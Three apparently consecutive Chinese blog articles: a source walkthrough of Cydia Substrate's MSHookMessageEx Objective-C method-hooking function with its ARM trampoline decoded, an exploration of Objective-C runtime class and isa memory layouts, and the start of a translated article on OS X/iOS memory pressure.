1. 首先需要在你的工程中引入以下几个文件：ARM.hpp、x86.hpp、CydiaSubstrate.h、Debug.hpp、Debug.cpp 以及 Log.hpp，后面三个文件可以不导入，修改几处 Log 的代码即可。
2. 然后在工程中添加一对新的 C++ 文件（即实现文件和头文件），我的命名为 MyMSHookMessageEx。
3. 然后将 ObjectiveC.cpp 中的内容，包括引入的头文件，static Method MSFindMethod(Class _class, SEL sel) 函数，static void MSHookMessageInternal(...) 函数和 _extern void MSHookMessageEx(...) 函数拷贝到 MyMSHookMessageEx.cpp 中。
4. 新建 Cocoa Touch Class，我的命名为 MySwizzling。在头文件中添加函数声明 - (void)exchange;。
5. 在实现文件 MySwizzling.m 中添加以下代码：

#import "MySwizzling.h"

@implementation MySwizzling

void *(*oldConnect)(id self, SEL _cmd);

void *newConnect(id self, SEL _cmd) {
    
    NSLog(@"new connect");  
    return oldConnect(self, _cmd);
}

- (void)connect_orig {
    NSLog(@"origin connect");
}

- (void)exchange {
    
    MSHookMessageEx([self class], @selector(connect_orig), &newConnect, &oldConnect);
    [self connect_orig];   
}

@end

6.　最后在你想测试的地方，初始化类，调用方法即可。（我是在 ViewController.m: -(void)viewDidLoad 中调用的）

源码解析

MSHookMessageEx

MSHookMessageEx 函数就是对 MSHookMessageInternal 函数的封装，除了 prefix 参数为 NULL 之外，其余的参数都原封不动的传入。

MSHookMessageInternal

先厘清一下这个核心函数的整个流程。

1. 进入 MSHookMessageInternal 函数先是一大堆参数检查的 log， 比较清晰，就不分析了。然后调用 Method method(MSFindMethod(_class, sel)); 通过 MSFindMethod 函数获取 sel 对应的方法 method；
2. 初始化一些值。字符指针 type 赋值为 method 的参数类型等描述。direct 赋值为 false，这个值代表着传入的参数 sel 是否为传入的参数 _class 中的方法，即是否为本类的方法。在接下来的第一个 for 循环中改变 direct 的值，这个循环就是用来判断 sel 是否是 _class 中的方法。如果不是本类的方法，执行第3步。如果是本类的方法，就跳过 if 函数，执行第4步。
3. 如果不是本类的方法，就根据运行设备的架构（32位的arm，i386 和 x86_64）添加 class_getMethodImplementation(super,sel) 以及 执行 sel 对应的函数实现 的机器码，将返回值存储在 old 中。然后执行第5步。
4. 如果是本类的方法，就跳过 if 函数，将找到的 sel 对应的方法 method 的实现 imp 赋给 old。然后执行第5步。
5. 然后将 old 的值赋给 *result，即 oldConnect 函数指针。
6. 如果 prefix != NULL，就给 _class 类添加一个 sel 为 prefix+sel，imp 为 old 的方法。
7. 如果是本类的方法，执行第8步。如果不是，执行 else 分支，第9步。
8. direct = true，就通过 method_setImplementation 函数将传入的 newConnect 的函数地址赋给 sel 对应的方法 method 中的实现。即调用 connect_orig，会跳到 newConnect 的入口函数处。
9. direct = false，则通过 class_addMethod 函数将函数名为 sel，函数地址为 newConnect 函数地址，函数类型为 type 的方法添加到 _class 类中。

下面对主要部分作详细解释。

MSFindMethod

MSFindMethod 函数主要是用于找到传入的参数 sel 对应的 method。

static Method MSFindMethod(Class _class, SEL sel) {
    for (; _class != nil; _class = class_getSuperclass(_class)) {
        unsigned int size;
        Method *methods(class_copyMethodList(_class, &size));
        if (methods == NULL)
            continue;

        for (unsigned int j(0); j != size; ++j) {
            Method method(methods[j]);
            if (!sel_isEqual(method_getName(methods[j]), sel))
                continue;

            free(methods);
            return method;
        }

        free(methods);
    }

    return nil;
}

主要是通过两个 for 循环，遍历参数 _class 及其父类（父类的父类…直到基类），通过函数 class_copyMethodList 取得 _class 的方法列表，通过第二个 for 循环来遍历方法列表，与 sel 字符串作比较，如果匹配成功，即找到 sel 对应的方法，返回该 method，否则一直遍历，直到最后返回 nil。

这份源代码中，作者在使用 C++ 语言的初始化时，多用括号。如 int j = 0; 　作者常使用 int j(0);

if (!direct)

    if (!direct) {
#if defined(__arm__)
        size_t length(11 * sizeof(uint32_t));
#elif defined(__i386__)
        size_t length(20);
#elif defined(__x86_64__)
        size_t length(50);
#endif

        uint32_t *buffer(reinterpret_cast<uint32_t *>(mmap(
            NULL, length, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0
        )));

        if (buffer == MAP_FAILED)
            MSLog(MSLogLevelError, "MS:Error:mmap() = %d", errno);
        else if (false) fail:
            munmap(buffer, length);
        else {
            Class super(class_getSuperclass(_class));

#if defined(__arm__)
            buffer[ 0] = A$stmdb_sp$_$rs$((1 << A$r0) | (1 << A$r1) | (1 << A$r2) | (1 << A$r3) | (1 << A$lr));
            buffer[ 1] = A$ldr_rd_$rn_im$(A$r0, A$pc, ( 8 - 1 - 2) * 4);
            buffer[ 2] = A$ldr_rd_$rn_im$(A$r1, A$pc, ( 9 - 2 - 2) * 4);
            buffer[ 3] = A$ldr_rd_$rn_im$(A$lr, A$pc, (10 - 3 - 2) * 4);
            buffer[ 4] = A$blx_rm(A$lr);
            buffer[ 5] = A$str_rd_$rn_im$(A$r0, A$sp, -4);
            buffer[ 6] = A$ldmia_sp$_$rs$((1 << A$r0) | (1 << A$r1) | (1 << A$r2) | (1 << A$r3) | (1 << A$lr));
            buffer[ 7] = A$ldr_rd_$rn_im$(A$pc, A$sp, -4 - (5 * 4));
            buffer[ 8] = reinterpret_cast<uint32_t>(super);
            buffer[ 9] = reinterpret_cast<uint32_t>(sel);
            buffer[10] = reinterpret_cast<uint32_t>(&class_getMethodImplementation);
#elif defined(__i386__)
            ......
#elif defined(__x86_64__)
            ......
#endif

            if (mprotect(buffer, length, PROT_READ | PROT_EXEC) == -1) {
                ......
            }

            old = reinterpret_cast<IMP>(buffer);

            if (MSDebug) {
                ......
            }
        }
    }

前两句代码比较容易理解，给 length 分配大小，然后给 buffer 分配内存，以4个字节为单位分配11个可读写的内存。然后将 super 赋值为 _class 的父类。

接下来这一部分涉及到汇编和机器码的对应问题，后面的讲解主要以32位的 arm 为例，i386 和 x86_64 都跟它差不多，比它要更简单一点。

推荐官方手册：ARM Architecture Reference Manual。非常详细和权威的参考资料。

汇编语言对应着不同的机器语言指令集。一种汇编语言专用于某种计算机系统结构，而不像高级语言，可以在不同系统平台间移植。CPU 处理的时候实际上是处理的机器语言，也就是我们常说的机器码。由汇编器负责汇编语言到机器语言的转换。

上图为与汇编语言相对应的通用的机器码格式。cond 为条件码，如 EQ(EQual to 0)、NE(Not Equal to 0)、CS(Carry Set)等等，如果是无条件，则为 AL(ALways)，对应的机器码为1110。

26~27位是保留位。

I 位，也就是第25位，是用来表明 shifter_operand 段存放的类型。0表示寄存器，1表示立即数。

24~21位是 opcode，表明指令的类型。如 AND 为0000，SUB 为0010，MOV 为1101等等。

S 位，第20位，表明是否影响 cpsr（程序状态寄存器），有则置1，否则置0。

19~16位是指 Rn 寄存器，也就是第一个源操作数寄存器，根据每个指令的格式，有的指令有 Rn，有的没有。

15~12位是指 Rd 寄存器，即目的寄存器，存放操作后的数据。

11~0位标明第二个源操作数，若为立即数则填该立即数的二进制值，若为通用寄存器则填通用寄存器标号的二进制值。另外根据不同的指令，这一字段会有不同的具体划分，可查阅官方手册。

根据 ARM.hpp 头文件中的宏定义，来具体分析这几句汇编代码。以第一句A$stmdb_sp$_$rs$(...) 为例，在头文件中的定义为：

enum A$r {
    A$r0, A$r1, A$r2, A$r3,
    A$r4, A$r5, A$r6, A$r7,
    A$r8, A$r9, A$r10, A$r11,
    A$r12, A$r13, A$r14, A$r15,
    A$sp = A$r13,
    A$lr = A$r14,
    A$pc = A$r15
};

#define A$stmdb_sp$_$rs$(rs) /* stmdb sp!, {rs} */ \
    (0xe9200000 | (A$sp << 16) | (rs))

0xe920000 的二进制数为1110 10 0 1001 0 000000000000，即无条件，操作指令为1001，019的字段通过按位或来填充。首先 A$sp 左移16位，A$sp = A$r13 = 13 = 1101，左移16位，即填充至1916位，Rn 寄存器的位置，0~15的字段由 rs 填充。

第一句 buffer[ 0] = A$stmdb_sp$_$rs$((1 << A$r0) | (1 << A$r1) | (1 << A$r2) | (1 << A$r3) | (1 << A$lr)); 即1左移0位，1左移1位，1左移2位，1左移3位，1左移14位，按位或之后为：1110 10 0 1001 0 1101 0100 0000 0000 1111。官方手册上关于 stmdb 的格式是这样的：

其中 registers 的解释为：

上面的代码执行后，在第0、1、2、3、14位均为1，也就是代表了 r0、r1、r2、r3、lr 寄存器。因此我们将机器码整理为汇编语言，即为 stmdb sp! {r0~r3,lr}。

将后面的几句依次整理为汇编语言：

即为

stmdb  sp! {r0~r3, lr}
ldr    r0, [pc, #0x14]
ldr    r1, [pc, #0x14]
ldr    r2, [pc, #0x14]
blx    lr
str    r0, [sp, #-0x4]
ldia   sp!, {r0~r3, lr}
ldr    pc, [sp, #-0x18]

我们在 newConnect 函数的末尾 return oldConnect(self, _cmd) 处下一个断点，然后在控制台输入几次 si 命令，即可看到增加的这几行汇编代码与我们分析的一样，如下图：

那么这几行汇编代码是什么意思呢？
第1行，是将 r0~r3，以及 lr 寄存器推入栈中，即保存现在的状态。

第2、3、4行，将 pc+0x14 处的数值存入 r0、r1、lr 寄存器。这几行汇编指令都是以机器码的形式写入 buffer 中的，buffer[0]~buffer[7] 保存了这8条指令。buffer[ 8] = reinterpret_cast<uint32_t>(super); 即保存的是 super （_class 父类）的值，buffer[9] 保存的是 sel 的值，buffer[10] 保存的是 class_getMethodImplementation 的地址。

有关 pc 的计算。
　　PC 值（program counter）表示下一条指令存储的地址。由于 ARM 采用流水线来提高 CPU 利用效率，无论是 ARM7 的3级流水线还是 ARM9 的5级流水线，如果当前指令在执行，那么下一条指令一定正在译码，再下一条指令正在读取。
　　因此 PC 值实际上指的是当前执行指令的下一条的再一下条指令。

第5行，跳到 lr 寄存器中的地址处，执行指令代码，即 buffer[10]，class_getMethodImplementation 函数，它的参数为 r0,r1。那么，也就是执行 class_getMethodImplementation(super, sel)；

第6行，lr 寄存器存储的地址中的代码执行完毕后，将返回值 r0 寄存器中的值保存到栈中，即 sp-0x4 中，然后 sp = sp -0x4。也就是说在栈中保存了 sel 对应的 imp 值。

第7行，将 r0~r3，以及 lr 寄存器推出栈，恢复之前的状态。

第8行，将 pc 指向 sp-0x18 处的值。因为第7行指令执行完之后，sp 的值也恢复到第1条指令执行之前的状态，所以需要 sp-0x18 来找到再第6条指令处保存的返回值，并执行。（有关 ARM 中栈以及 SP 的操作，可以参考我之前的文章 栈·参数存储排布）

因此整个汇编代码做的事情实际上就是前面在流程中提到的，根据运行设备的架构（32位的arm，i386 和 x86_64）来执行方法调用class_getMethodImplementation(super,sel)，以及执行这个方法返回的 imp。

　　class_getMethodImplementation 函数内部会调用 lookUpImpOrNil 函数，这个函数接着又会调用 lookUpImpOrForward 函数。
　　 而 lookUpImpOrForward 正是 objc_msgSend 消息函数在没有缓存的时候，将会执行的函数。因此 class_getMethodImplementation 函数寻找对应的 imp 的流程跟无 cache 发送消息的流程是一样的，会往上寻找父类的方法列表，一直到基类的方法列表，找不到再进行消息转发等等。（具体内容可以参考我之前的文章 通过汇编解读 objc_msgSend）

最后是将 buffer 的地址赋给 old，这样，在执行 connect_orig 时，就会跳到 buffer[0] 处执行那几条机器码，找到 sel 对应的 imp 并执行。

为什么要使用 if (!direct) 这段代码

在 MSHookMessageEx 的官方介绍页面有这样几段话：

However, while these APIs function quite well when there are only a small number of people making modifications, they fail to satisfy more complex use cases; in particular, there are ordering problems if multiple people attempt to hook the same message at different points in an inheritance hierarchy.

Finally, it is important that classes that are being instrumented are not “initialized” as they are being modified (which would both change the ordering of the target program, as well as make it impossible to hook the initialization sequence); over time, the way Objective-C runtime APIs implement this has changed.

Substrate solves all of these problems by providing a replacement API that takes all of these issues into account, always making certain that the classes are not initialized and that the right “next implementation” is used while walking back up an inheritance hierarchy.

作者讲得非常清楚。这一部分将机器码嵌入到原始方法的 IMP 之前，使得在调用自定义方法之后，调用原始方法之前，有一个 old = class_getMethodImplementation(super, sel) 的动作，也就是说，是在执行方法的时候动态查找原始 IMP 的函数，而不是在 MSHookMessageEx 函数执行的时候，就已经确定好了原始 IMP 的地址。

这样做是为了解决在一个继承体系中的不同节点处，hook 相同函数的问题。

现在让我们设想一个情景：有三个类，Parent、Child、Grandson，其中 Grandson 类继承于 Child 类，Child 类继承于 Parent 类。

在 Parent 类中实现了一个函数： - (void)parent_connect。
在 Child 类、Grandson 类中声明这个函数但并没有实现。
在 Child 类以及 Grandson 类中均使用 MSHookMessageEx 函数 hook 了 - (void)parent_connect 函数。

情景1：

1. 先调用 Child 类中的 hook 函数，
2. 再调用 Grandson 类中的 hook 函数。

情景2：

1. 先调用 Grandson 类中的 hook 函数，
2. 再调用 Child 类中的 hook 函数，
3. 最后再调用一次 Grandson 类中的 hook 函数。

1）如果没有这段嵌入的代码，即注释掉 if (!direct){…} 这段代码。

在情景1中，

1. 依次调用Child 类中的自定义函数、 Parent 类中的原始函数，
2. 依次调用 Grandson 类中的自定义函数、 Child 类中的自定义函数、 Parent 类中的原始函数。

在情景2中，

1. 依次调用 Grandson 类中的自定义函数、 Parent 类中的原始函数，
2. 依次调用 Child 类中的自定义函数、 Parent 类中的原始函数，
3. 仍是依次调用 Grandson 类中的自定义函数、 Parent 类中的原始函数。

　　也就是说，Grandson 类中的 - (void)parent_connect 函数的执行顺序在调用 hook 函数时就已经确定了，并不会因为情景2中的第2步 Child 函数的 hook 使得调用顺序改变。

2）如果有这段嵌入代码，

情景1执行状态相同。
情景2则为，

1. 依次调用 Grandson 类中的自定义函数、 Parent 类中的原始函数，
2. 依次调用 Child 类中的自定义函数、 Parent 类中的原始函数，
3. 依次调用 Grandson 类中的自定义函数、 Child 类中的自定义函数、 Parent 类中的原始函数。

　　 Grandson 类中的 - (void)parent_connect 函数的执行顺序是在该函数调用时才会通过嵌入的那段机器码去查找原始方法的实现。这样做维护了原来的继承体系，这也是 OC runtime 的体现。

if (prefix!=NULL)

这一部分比起上一部分来说就简单多了。

if (prefix != NULL) {
        const char *name(sel_getName(sel));
        size_t namelen(strlen(name));
        size_t fixlen(strlen(prefix));

        char *newname(reinterpret_cast<char *>(alloca(fixlen + namelen + 1)));
        memcpy(newname, prefix, fixlen);
        memcpy(newname + fixlen, name, namelen + 1);

        if (!class_addMethod(_class, sel_registerName(newname), old, type))
            MSLog(MSLogLevelError, "MS:Error: failed to rename [%s %s]", class_getName(_class), name);
    }

总体来说，就是给传入的参数 sel 字符串加上前缀 prefix，然后将 old 作为 prefix+sel 的实现，type 作为它的函数类型，将这个 method 加入 _class 的方法列表。

比如 prefix = “xxx”，sel = @selector(connect_orig)。执行了这段代码之后，只需要在头文件中声明　- (void)xxxconnect_orig;　不用在 .m 文件中实现，直接调用　[self xxxconnect_orig];　就会执行原来的 connect_orig 代码。

总结

关于 if (!direct) 这个分支，总的来说就是:

• 如果 direct == true，这个 sel 是本类的方法，就执行
  old = method_getImplementation(method);
  method_setImplementation(method, imp);
• 如果 direct == false，不是本类的方法，就把
  old = class_getMethodImplementation(super, sel) 这个函数通过机器码嵌入到调用原函数之前，使得在调用自定义方法后，动态查询原始 IMP 指针;
  最后通过 class_addMethod(_class, sel, imp, type) 加入到本类的方法列表中;

执行 class_addMethod 这个方法，主要是为了避免使用 method_setImplementation 覆盖父类已有的函数，所以在本类中动态添加了这个方法。

另外，在 objc/runtime.h 中提到：

@note class_getMethodImplementation may be faster than
method_getImplementation(class_getInstanceMethod(cls, name)).

Reference

[1] ARM机器码分析　http://www.mamicode.com/info-detail-893760.html
[2] 3.Arm机器码　http://www.cnblogs.com/FORFISH/p/4199600.html
[3] C++标准转换运算符reinterpret_cast 　
http://www.cnblogs.com/ider/archive/2011/07/30/cpp_cast_operator_part3.html

我们已知，OC 中的类也是对象，且对象和类实际上是以结构体的形式存在的（可通过 clang 转换）。在 OC 运行时可以修改对象的方法和属性。那么，这些结论背后的机理是什么呢？

在这篇文章中，我将从类的内存布局以及内存结构方面入手，通过调试 objc runtime 的源代码来厘清上述问题（源代码版本为 objc4-706）。

isa_t 结构体

首先来认识一下 isa 指针，isa 的意思是 it is a object，这是一个对象。对象是由 objc_object 结构体定义的，类是由 objc_calss 结构体定义的，我们可以在 runtime 源码中查看它们的定义：

struct objc_object {
private:
    isa_t isa;
}

struct objc_class : objc_object {
    // Class ISA;
    Class superclass;　　　　// 父类
    cache_t cache;　　　　　　// formerly cache pointer and vtable
    class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags
}

isa 定义

我们可以看到，对象的结构体中其实就只包含了一个 isa_t 联合类型的成员，类的结构体继承于对象的结构体，因此类的结构体的第一个成员也是 isa_t 联合类型，从这一点来讲，类也是对象。

union isa_t 
{
    isa_t() { }
    isa_t(uintptr_t value) : bits(value) { }

    Class cls;
    uintptr_t bits;

#if SUPPORT_PACKED_ISA

    // extra_rc must be the MSB-most field (so it matches carry/overflow flags)
    // nonpointer must be the LSB (fixme or get rid of it)
    // shiftcls must occupy the same bits that a real class pointer would
    // bits + RC_ONE is equivalent to extra_rc + 1
    // RC_HALF is the high bit of extra_rc (i.e. half of its range)

    // future expansion:
    // uintptr_t fast_rr : 1;     // no r/r overrides
    // uintptr_t lock : 2;        // lock for atomic property, @synch
    // uintptr_t extraBytes : 1;  // allocated with extra bytes

# if __arm64__
#   define ISA_MASK        0x0000000ffffffff8ULL
#   define ISA_MAGIC_MASK  0x000003f000000001ULL
#   define ISA_MAGIC_VALUE 0x000001a000000001ULL
    struct {
        uintptr_t nonpointer        : 1;
        uintptr_t has_assoc         : 1;
        uintptr_t has_cxx_dtor      : 1;
        uintptr_t shiftcls          : 33; // MACH_VM_MAX_ADDRESS 0x1000000000
        uintptr_t magic             : 6;
        uintptr_t weakly_referenced : 1;
        uintptr_t deallocating      : 1;
        uintptr_t has_sidetable_rc  : 1;
        uintptr_t extra_rc          : 19;
#       define RC_ONE   (1ULL<<45)
#       define RC_HALF  (1ULL<<18)
    };

# elif __x86_64__
#   define ISA_MASK        0x00007ffffffffff8ULL
#   define ISA_MAGIC_MASK  0x001f800000000001ULL
#   define ISA_MAGIC_VALUE 0x001d800000000001ULL
    struct {
        uintptr_t nonpointer        : 1;
        uintptr_t has_assoc         : 1;
        uintptr_t has_cxx_dtor      : 1;
        uintptr_t shiftcls          : 44; // MACH_VM_MAX_ADDRESS 0x7fffffe00000
        uintptr_t magic             : 6;
        uintptr_t weakly_referenced : 1;
        uintptr_t deallocating      : 1;
        uintptr_t has_sidetable_rc  : 1;
        uintptr_t extra_rc          : 8;
#       define RC_ONE   (1ULL<<56)
#       define RC_HALF  (1ULL<<7)
    };
 ...
}

关于联合类型，联合表示几个变量公用一个内存位置，在不同的时间保存不同的变量。当一个联合被说明时，编译程序自动地产生一个变量，其长度为联合中最大的变量长度。也就是说没，在任何同一时刻，联合只存放了一个被选中的成员。在 isa_t 联合结构中，共有三个成员，cls，bits，以及结构体变量。

isa 初始化

我们从 isa 的初始化来看 isa_t 联合中结构体各字段的意义。当为 OC 对象分配内存时（比如调用 alloc 方法），会初始化 isa 指针，其方法调用栈如下图所示：

其中 inline void objc_object::initIsa(Class cls, bool nonpointer, bool hasCxxDtor) 方法的定义如下：

inline void 
objc_object::initIsa(Class cls, bool nonpointer, bool hasCxxDtor) 
{ 
    assert(!isTaggedPointer()); 
    
    if (!nonpointer) {
        isa.cls = cls;
    } else {
        assert(!DisableNonpointerIsa);
        assert(!cls->instancesRequireRawIsa());

        isa_t newisa(0);

#if SUPPORT_INDEXED_ISA
        assert(cls->classArrayIndex() > 0);
        newisa.bits = ISA_INDEX_MAGIC_VALUE;
        // isa.magic is part of ISA_MAGIC_VALUE
        // isa.nonpointer is part of ISA_MAGIC_VALUE
        newisa.has_cxx_dtor = hasCxxDtor;
        newisa.indexcls = (uintptr_t)cls->classArrayIndex();
#else
        newisa.bits = ISA_MAGIC_VALUE;
        // isa.magic is part of ISA_MAGIC_VALUE
        // isa.nonpointer is part of ISA_MAGIC_VALUE
        newisa.has_cxx_dtor = hasCxxDtor;
        newisa.shiftcls = (uintptr_t)cls >> 3;
#endif

        // This write must be performed in a single store in some cases
        // (for example when realizing a class because other threads
        // may simultaneously try to use the class).
        // fixme use atomics here to guarantee single-store and to
        // guarantee memory order w.r.t. the class index table
        // ...but not too atomic because we don't want to hurt instantiation
        isa = newisa;
    }
}

以 x86_64 架构为例，ISA_MAGIC_VALUE 为 0x001d800000000001，在执行 newisa.bits = ISA_MAGIC_VALUE; 这行代码之后，newisa 的结构如下图：

正如注释中提到的，执行这行代码，给 magic 和 nonpointer 赋值，nonpointer 是第0位，为1，magic 是第4752位，为111011。接下来再将传入的 hasCxxDtor 赋值给 newisa.has_cxx_dtor，cls右3位赋值给 newisa.shiftcls。因为 shiftcls 是类或元类的指针，所以肯定是对齐的，也就是以0或8结尾，所以第02位在 isa 指针中就被占用来记录其他信息了（nonpointer、has_assoc、has_cxx_dtor ）。

isa 各字段的含义：

• nonpointer：表示isa_t 的类型，0表示这是一个指向 cls 的指针（iPhone 64位之前的 isa 类型），1表示当前的 isa 并不是普通意义上的指针，而是 isa_t 联合类型，其中包含有 cls 的信息，在 shiftcls 字段中。
• has_assoc：对象含有或曾经含有关联引用，没有关联引用可以更快释放内存。
• has_cxx_dtor：表示该对象是否有 C++ 或 ARC 的析构函数，如果没有析构器就会快速释放内存。
• shiftcls：当前对象对应的类指针，或当前类对应的元类指针。
• magic：0x3b，用于调试器判断当前对象为真的对象还是未初始化的空间。 （即判断是否完成初始化）
• weakly_referenced：对象是否指向或曾经指向一个 ARC 的弱变量，没有弱引用的对象可以更快释放。
• deallocating：对象正在释放内存。
• has_sidetable_rc：该对象引用计数太大，isa 指针存不下了。
• extra_rc： 存储引用计数值减一后的值。

isa->shiftcls

通过前面提到的 objc_object 的定义，我们可以看到，对象的结构体中仅仅只有一个 isa 指针，并没有保存对象的属性、方法等。因为如果每一个对象都保存了自己能执行的方法，那么会占用很多的内存。

当实例方法（减号方法）被调用时，是通过对象的 isa 指针来查找对应的类（shiftcls 字段），然后在 objc_class 的 class_data_bits_t 结构体中查找本类方法的实现，superclass 中查找父类方法。

调用实例方法，也就是向对象发送消息。那么调用类方法（加号方法），也是在向类发送消息。正如我们前面提到的，类也是一个对象，类对象的类是它的元类（meta class）。所以类方法存储在元类结构中。

元类当然也是一个对象（为 objc_class 结构），它所属的类是根类（NSObject）的元类，根元类的类就是它自己。总的来说，对象的 isa->shiftcls 指向其所属类，类的 isa->shiftcls 指向元类，元类的 isa->shiftcls 指向根元类，根元类指向它自己。

可以通过 ISA() 来获取 isa->shiftcls：

inline Class 
objc_object::ISA() 
{
    assert(!isTaggedPointer()); 
    return (Class)(isa.bits & ISA_MASK);
}

即通过 ISA_MASK 掩码获取。

在上图中（x86_64），x1是一个对象，$1是x1的 isa->shiftcls 指向的类，$2是$1的 isa->shiftcls 指向的元类，$3是$2的 isa->shiftcls 指向的根元类。

class_data_bits_t 结构体

Class superclass 是当前类的父类指针，cache_t cache 在我之前的一篇文章“通过汇编解读 objc_msgSend”中有详细讲解。

class_data_bits_t 结构体只包含有一个 uintptr_t 类型的 bits。另外我们可以通过它的 data() 方法，访问64位中的第3~47位，返回一个 class_rw_t* 指针。objc_class 中的 data() 方法仅仅是对它做了一个封装。

struct class_data_bits_t {

    // Values are the FAST_ flags above.
    uintptr_t bits;
private:
    ...
public:
    ...
    class_rw_t* data() {
        return (class_rw_t *)(bits & FAST_DATA_MASK);
    }
    ...
}

struct objc_class : objc_object {
    ...
    class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags
    ...
    class_rw_t *data() {
    return bits.data();
    }
    ...
}

在 objc_class 的注释中提到，class_data_bits_t 结构体就是 class_rw_t 指针加上 rr/alloc 标志。

class_rw_t & class_ro_t

struct class_rw_t {
    // Be warned that Symbolication knows the layout of this structure.
    uint32_t flags;
    uint32_t version;

    const class_ro_t *ro;

    method_array_t methods;
    property_array_t properties;
    protocol_array_t protocols;

    Class firstSubclass;
    Class nextSiblingClass;

    char *demangledName;

#if SUPPORT_INDEXED_ISA
    uint32_t index;
#endif
    ...
}

很明显可以看到，类中的方法、属性、协议等都保存在 class_rw_t 结构体中。其中的 class_ro_t 结构体保存的是当前类在编译期间就已经确定的属性、方法以及遵循的协议。

编译期间：

运行后：

以上两张图来自 Draveness 的博客：深入解析 ObjC 中方法的结构

这个变化来自于，在对类进行初始化的 realezeClass 方法：

static Class realizeClass(Class cls)
{
   ...
    ro = (const class_ro_t *)cls->data();
    if (ro->flags & RO_FUTURE) {
        // This was a future class. rw data is already allocated.
        rw = cls->data();
        ro = cls->data()->ro;
        cls->changeInfo(RW_REALIZED|RW_REALIZING, RW_FUTURE);
    } else {
        // Normal class. Allocate writeable class data.
        rw = (class_rw_t *)calloc(sizeof(class_rw_t), 1);
        rw->ro = ro;
        rw->flags = RW_REALIZED|RW_REALIZING;
        cls->setData(rw);
    }
    ...
	methodizeClass(cls);

	return cls;
}

其中 methodizeClass 方法将类自己实现的方法、属性和协议加载到 class_rw_t 的 methods、properties 和 protocols 中。

我们新建一个类：

//  XXObject.h
#import <Foundation/Foundation.h>

@protocol XXObjectProtocol <NSObject>

- (void)hello;

@end

@interface XXObject : NSObject <XXObjectProtocol>

@property (nonatomic, strong, readwrite) NSString *myproperty;

- (void)hello;

+ (void)myClassMethod;

@end


//  XXObject.m
#import "XXObject.h"

@implementation XXObject

- (void)hello {
    NSLog(@"Hello");
}

+ (void)myClassMethod {
    NSLog(@"myClassMethod");
}

@end


//  main.m
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import "XXObject.h"

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        // insert code here...  
        Class cls = [XXObject class];
        XXObject *x1 = [[XXObject alloc] init];
        NSLog(@"%p", cls); 
    }
    return 0;
}

XXObject 这个类遵循 XXObjectProtocol 协议，并实现了其中的 hello 方法。定义并实现了类方法 myClassMethod。在 main 函数中初始化这个类的实例，然后运行一次，获取 XXObject 在内存中的地址。我的是0x1000015d8。再在 realizeClass 方法内， rw 还未赋值之前下条件断点，如下图：

然后运行：

可以看到在断点处打印 bits.data() 返回的是 class_rw_t * 指针，继续打印 class_rw_t 结构体的值，并不对，因为在 realizeClass 方法中的 rw 被赋值前，应该是 class_ro_t 结构体类型，如下图：

接着可以打印 ro 结构体内的方法列表，即编译期间确定的该对象的方法，存储在只读区域，有遵循协议实现的 hello 方法，还有 .cxx_destruct 这个编译器自动生成的方法（用来在 ARC 下释放对象的实例变量），以及属性 myproperty 的 setter、getter 方法。如下图：

打印 ro 结构体内的属性列表，如下图：

打印协议，protocol_list_t 没有 get 方法，它的结构是这样的：

struct protocol_list_t {
    // count is 64-bit by accident. 
    uintptr_t count;
    protocol_ref_t list[0]; // variable-size
    ...
}

所以第一个64位表示该对象遵循的协议的数量，紧接着是协议列表，如下图：

在运行完对 rw 的赋值之后，再查看 class_data_bits_t * 指针，其指向的内存地址已经改变，从之前的 class_ro_t * 指针 0x100001538 变为真正的 class_rw_t * 指针的地址 0x100802d20。打印发现 class_rw_t 结构体中的 ro 已被设置为 class_ro_t * 指针的地址。如下图：

methods、properties等仍为0，在 realizeClass 方法末尾处的 methodizeClass 方法执行完，才会被赋值，且与 ro 中的方法列表等指针地址相同。

动态添加方法

如果动态添加方法的话，又会被存在什么位置呢？我们将 main 函数修改为下面的代码：

int main(int argc, const char * argv[]) {
    @autoreleasepool { 
        Class cls = [XXObject class];
        XXObject *x1 = [[XXObject alloc] init];
        NSLog(@"%p", cls);
        
        SEL come = sel_registerName("come");

        class_addMethod(cls, come, class_getMethodImplementation(cls, @selector(hello)), method_getTypeEncoding(class_getInstanceMethod(cls, @selector(hello))));
        
        [x1 performSelector:come];
    
    }
    return 0;
}

在 [x1 performSelector:come]; 处下断点：

打印 class_rw_t * 指针的地址，可以看到 methods 的指针为 0x100802051，地址末尾为1，标明这是 thumb 架构，打印的时候减1即可。通过 $3 可以看见，直接强制转换为 method_list_t * 指针，并不能打印处方法的地址。我们打印 0x100802050 处的内存，可以看到首先是 0x2，这是标明当前方法列表的数目，0x100802030 即是动态增加的方法列表的指针，0x100002478 是 ro.baseMethodList 的指针：

所以，动态添加的方法只修该 rw 中 methods 的内存布局，对编译期间就确定的 ro 中的 baseMethodList 没有影响。 ro 的结构是在编译期确定的，在运行期间不可更改。

Reference

[1] 深入解析 ObjC 中方法的结构　http://draveness.me/method-struct.html
[2] 从 NSObject 的初始化了解 isa　http://draveness.me/isa.html
[3] 用 isa 承载对象的类信息　http://www.desgard.com/isa/
[4] 我们的对象会经历什么　http://www.jianshu.com/p/ff8a7c458c96

翻译自 Jonathan Levin’s site   原文链接：http://newosxbook.com/articles/MemoryPressure.html

About

OS X 和 iOS 中的内存压力是虚拟内存管理的一个非常重要的方面，在我的书中[1]已经有了一些介绍。 我提到的 Jetsam/memorystatus 机制，已经随着时间的推移发生了重大变化，最终形成了最近在 Mavericks 中引入的一些非常重要的系统机制和系统调用。 在使用我的 OS X 和 iOS 的Process Explorer 时，我遇到了这些新增加的问题，因此在这里记录。 这是作为本书第12章的补充，当然也可以单独阅读。

Why should you care? (Target Audience)

物理内存（RAM），是 CPU 的另一个方面，也是系统中最稀少的资源，是最有可能导致竞争的资源，因此 apps 争夺每一个有效的 bit。应用程序的内存与性能直接相关 - 通常是以别人的为代价。 在 iOS 中，没有能够交换内存的交换空间，这使得内存资源更为重要。 本文旨在让您下次调用 malloc() 或 mmap() 之前再三考虑，以及阐明 iOS 上最常见的崩溃原因 -低系统内存的原因。

Prerequisite: Virtual Memory in a nutshell

无论一个应用程序是如何编程的，它都必须在内存空间中运行。 这个空间是一个应用程序可以控制自己的代码，数据和状态的地方。 当然，如果这样一个空间与其他应用程序隔离，这是非常有益的，因为提供了更好的安全性和稳定性。 我们将这个空间称为应用程序的虚拟内存，它是应用程序的一个定义特性之一：应用程序的所有线程将共享相同的虚拟内存空间，也因此被定义为处于同一进程。

